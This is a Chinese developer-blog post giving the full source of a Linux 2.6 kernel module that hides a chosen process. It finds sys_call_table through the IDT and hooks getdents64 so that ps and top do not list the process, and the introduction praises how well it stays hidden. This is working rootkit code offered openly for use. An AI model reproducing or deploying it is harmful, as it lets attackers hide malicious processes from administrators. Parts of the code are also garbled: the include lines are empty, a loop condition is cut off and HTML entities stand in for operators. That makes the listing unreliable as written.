热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

在Linux2.6内核中实现隐藏进程的技术方法与实践

本文探讨了在Linux2.6内核中实现进程隐藏的技术方法与实践。通过分析系统调用`sys_getdents`的工作原理,提出了一种有效的方法来隐藏指定的进程。该方法通过对内核模块进行修改,拦截并过滤掉目标进程的相关信息,从而在常用的进程查看命令(如`ps`和`top`)中无法显示这些隐藏的进程。实验结果表明,该方法在实际应用中具有较高的隐蔽性和稳定性。

很早以前的小程序,比较简单但是觉得有趣

原理很简单,Linux查看进程的命令ps是通过系统调用sys_getdents实现,sys_getdents用户获取一个指定路径下的目录条目,实际上就是枚举

/proc/ 下的pid,这样我们只需要hook一下sys_getdents,把相应的要隐藏的pid信息去掉即可。

以下是LKM代码,在Linux-2.6.14并运行成功

#include

#include

#include

#include

#include

#include

#include

#include

#define CALLOFF 100

//使用模块参数来定义需要隐藏的进程名

char *processname;

module_param(processname, charp, 0);

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,

flags;

unsigned short off2;

} __attribute__ ((packed)) * idt;

void** sys_call_table;

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);

char * findoffset(char *start)

{

char *p;

for (p = start; p

if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

return p;

return NULL;

}

int myatoi(char *str)

{

int res = 0;

int mul = 1;

char *ptr;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {

if (*ptr <&#39;0&#39; || *ptr > &#39;9&#39;)

return (-1);

res &#43;&#61; (*ptr - &#39;0&#39;) * mul;

mul *&#61; 10;

}

return (res);

}

struct task_struct *get_task(pid_t pid)

{

struct task_struct *p &#61; get_current(),*entry&#61;NULL;

list_for_each_entry(entry,&(p->tasks),tasks)

{

if(entry->pid &#61;&#61; pid)

{

printk("pid found\n");

return entry;

}

}

return NULL;

}

static inline char *get_name(struct task_struct *p, char *buf)

{

int i;

char *name;

name &#61; p->comm;

i &#61; sizeof(p->comm);

do {

unsigned char c &#61; *name;

name&#43;&#43;;

i--;

*buf &#61; c;

if (!c)

break;

if (c &#61;&#61; &#39;\\&#39;) {

buf[1] &#61; c;

buf &#43;&#61; 2;

continue;

}

if (c &#61;&#61; &#39;\n&#39;) {

buf[0] &#61; &#39;\\&#39;;

buf[1] &#61; &#39;n&#39;;

buf &#43;&#61; 2;

continue;

}

buf&#43;&#43;;

}

while (i);

*buf &#61; &#39;\n&#39;;

return buf &#43; 1;

} int get_process(pid_t pid)

{

struct task_struct *task &#61; get_task(pid);

char *buffer[64] &#61; {0};

if (task)

{

get_name(task, buffer);

if(strstr(buffer,processname))

return 1;

else

return 0;

}

else

return 0;

}

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

{

//added by lsc for process

long value;

struct inode *dinode;

int len &#61; 0;

int tlen &#61; 0;

struct linux_dirent64 *mydir &#61; NULL;

//end

//在这里调用一下sys_getdents,得到返回的结果

value &#61; (*orig_getdents) (fd, dirp, count);

tlen &#61; value;

//遍历得到的目录列表

while(tlen > 0)

{

len &#61; dirp->d_reclen;

tlen &#61; tlen - len;

printk("%s\n",dirp->d_name);

//在proc文件系统中&#xff0c;目录名就是pid,我们再根据pid找到进程名

if(get_process(myatoi(dirp->d_name)) )

{

printk("find process\n");

//发现匹配的进程&#xff0c;调用memmove将这条进程覆盖掉

memmove(dirp, (char *) dirp &#43; dirp->d_reclen, tlen);

value &#61; value - len;

}

if(tlen)

dirp &#61; (struct linux_dirent64 *) ((char *)dirp &#43; dirp->d_reclen);

}

return value;

}

void **get_sct_addr(void)

{

unsigned sys_call_off;

unsigned sct &#61; 0;

char *p;

asm("sidt %0":"&#61;m"(idtr));

idt &#61; (void *) (idtr.base &#43; 8 * 0x80);

sys_call_off &#61; (idt->off2 <<16) | idt->off1;

if ((p &#61; findoffset((char *) sys_call_off)))

sct &#61; *(unsigned *) (p &#43; 3);

return ((void **)sct);

}

static void filter_exit(void)

{

if (sys_call_table)

sys_call_table[__NR_getdents64] &#61; orig_getdents;

}

static int filter_init(void)

{

//得到sys_call_table的偏移地址

sys_call_table &#61; get_sct_addr();

if (!sys_call_table) {

printk("get_act_addr(): NULL...\n");

return 0;

} else

printk("sct: 0x%x\n", (unsigned int)sys_call_table);

//将sys_call_table中注册的系统调用sys_getdents替换成我们自己的函数hack_getdents

orig_getdents &#61; sys_call_table[__NR_getdents64];

sys_call_table[__NR_getdents64] &#61; hacked_getdents;

return 0;

}

module_init(filter_init);

module_exit(filter_exit);

MODULE_LICENSE("GPL");



推荐阅读
author-avatar
蓝色流星魂
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有